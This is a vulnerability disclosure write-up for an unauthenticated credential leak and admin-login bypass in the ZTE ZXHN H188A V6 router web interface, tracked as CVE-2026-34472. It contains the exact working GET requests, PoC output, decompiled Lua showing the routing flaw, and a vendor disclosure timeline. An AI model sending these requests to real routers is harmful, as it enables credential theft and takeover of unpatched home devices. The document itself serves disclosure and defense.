I validated an unauthenticated credential disclosure path in the ZXHN H188A V6 web interface and then traced the code path that makes it reachable. The observed exploit path leaks pre-login wizard data through tedataNotLoginData; on this router, the leaked Wi-Fi passphrase becomes the default administrator password once uppercased, which is why the disclosure turns into admin-panel auth bypass. The decompiled root cause is broader and shows that root-path requests can override routing with attacker-controlled _type and _tag values before the normal QuickSetupEnable gate runs.
The observed exploit path leverages a routing failure across the pre-login wizard path. Unauthenticated requests to the root path can ask the pre-login wizard layer for WLAN and PPPoE data without ever presenting credentials. The routing layer itself trusts query-supplied _type and _tag values when the URL path is empty, meaning an attacker can bypass the normal quick-setup routing gate and land directly in credential-bearing tedataNotLogin data handlers.
Root-path requests can override router selection with _type and select a handler with _tag. The QuickSetupEnable check only runs in the fallback path used when _type is absent.
/?_type=tedataNotLoginData&_tag=wizard_lua.lua....getPassword, wlan_get, and ppp_get return data without login.Authentication is entirely bypassed because the routing logic trusts query parameters over the URL path. One unauthenticated GET request is enough to pull the keys to the entire management interface.
Observed unauthenticated requests used during local validation.
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=getPassword&BAND=5GHz&PASSTYPE=PSK
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=wlan_get&BAND=5GHz
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=ppp_get
Representative JSON fields returned during validation:
- KeyPassphrase
- ESSID
- UserName
- _sessionTOKENThe screenshots and PoC material in this directory are consistent with the decompiled explanation in Tedata_notLogin_wizard_page_manage.lua: the request never needs to pass through the authenticated admin flow first.
This writeup is strictly scoped to the locally validated H188A V6 branch (V6.0.10P2_TE and V6.0.10P3N3_TE) cited in the public CVE record. However, given the architectural nature of the routing bypass in router_logic_impl.lua, it is highly probable that other branches sharing this web stack are affected. I invite the community to validate this exposure against later firmware revisions.
A simple PoC run shows the exploit path more clearly than another overview screenshot: the unauthenticated wizard request returns the Wi-Fi credential, and that value becomes the default admin password once uppercased.
PS> python .\poc\extract_wizard_credentials.py --target 192.168.1.1
[+] wizard endpoint reachable without authentication
[+] ssid ............... [REDACTED]
[+] wifi_password ...... [REDACTED]
[+] admin_password ..... WIFI_PASSWORD.UPPER()
[+] pppoe_username ..... [REDACTED]
[+] result ............. admin login secret recovered
Admin bypass: on the H188A V6 path I validated, the Wi-Fi password returned by getPassword becomes the default administrator password when uppercased. The leak is the login secret.
Credential exposure: the same pre-login request family also discloses WLAN and PPPoE values, which expands the impact beyond the router panel itself.
Exposure scale: at the time of the original report, roughly 500 publicly exposed H188A router interfaces were reachable on the internet.
Control path: once the attacker has the admin password, the web interface stops being a read-only leak and becomes a full authenticated management surface.
The extracted web stack shows a routing and authorization failure across the pre-login wizard path, not just one noisy endpoint. The local proof captures show the disclosure behavior; the decompiled logic explains why those responses exist and why the same path is broader than a single credential leak. Four details matter:
When the request path is empty, the router logic accepts attacker-supplied _type and _tag parameters directly. That means the request can choose tedataNotLoginData instead of letting the normal URL-path resolver pick the route.
The QuickSetupEnable check lives in the URL-path-to-router conversion path and only fires when _type is missing. If the attacker supplies _type, the gate is skipped instead of re-applied later.
The tedataNotLogin data manager only checks whether the requester is already logged in. If not, it constructs a file path inside wizard_page_deps and loads the requested wizard data file.
The local validation used read-style actions like getPassword, wlan_get, and ppp_get. The decompiled handler family also includes mutating branches that call cmapi.setinst, which is why the underlying defect is broader than a pure disclosure bug.
The working set combined live validation, PoC automation, and decompilation-backed inspection. The main tools used across that path were:
Browser DevTools and direct browser requests for local wizard endpoint validation.Python PoC material for repeated extraction of wizard data across the test set.The three most important code points are the route override, the misplaced quick-setup gate, and the unauthenticated wizard data loader. I am showing only the minimum lines needed to explain the vulnerable chain.
_type and _tag.
function RouterLogicClass:__URL2RouterType(urlPath, queryTable)
local routerType, resourceTag
if #urlPath == 0 then
routerType = queryTable._type
if not routerType then
routerType, resourceTag = self:__URLPath2RouterType(urlPath)
else
resourceTag = queryTable._tag
endQuickSetupEnable decision is only applied in the fallback path.
local QuickSetupEnable = "0"
local QuiSetupTable = _G.cmapi.getinst("OBJ_WEB_QUICKSETUP_ID", "IGD")
if QuiSetupTable.IF_ERRORID == 0 then
QuickSetupEnable = QuiSetupTable.QuickSetupEnable
end
if QuickSetupEnable == "1" then
return "tedataNotLogin", nil
endfunction WizardPageMgrClass.getDataFiles(routerType, resourceTag)
g_logger:debug("routerType=" .. routerType)
if usermgr:isLogined() then
return false
end
UpdateCurrentSess()
local file = ""
file = "../page_mgr/wizard_page_deps/" .. resourceTag
return true, {
{file = file}
}, nilcmapi.setinst.
if FP_ACTION == "Apply" then
while cgilua.POST["_InstID_" .. index] do
t_Data = {}
for j, k in pairs(WLANSETTING_PARA) do
t_Data[k] = cgilua.POST[k .. "_" .. index]
end
tError = cmapi.setinst(WLANSETTING_OBJNAME, cgilua.POST["_InstID_" .. index], t_Data)
if tError.IF_ERRORID ~= 0 then
break
endZTE PSIRT's February 2, 2026 response characterized this issue as a customer-specific requirement with low risk and stated that it did not plan to assign a CVE. That position does not line up with the practical impact shown by the local captures or with the decompiled route-to-handler chain.
Patch status as of May 18, 2026: no public ZTE advisory or fixed firmware release was visible in the public record for CVE-2026-34472. The public trail still consists of the CVE/NVD entries and disclosure references.
Primary external references used to anchor the public record for the issue and disclosure timeline.
Local screenshots and PoC material were created for the H188A V6 wizard exposure path.
ZTE PSIRT received the original disclosure for the H188A V6 credential-disclosure and auth-bypass issue.
The later MITRE escalation record states that ZTE stopped responding after this point in the original 2024 disclosure thread.
The issue set was escalated to MITRE with the supporting evidence package and requested researcher credit.
ZTE PSIRT explicitly declined CVE assignment and described the H188A V6 issue as a customer-specific low-risk requirement.
MITRE assigned CVE-2026-34472 to the H188A V6 wizard credential-disclosure issue.
A public disclosure reference was submitted to support the assigned CVE IDs.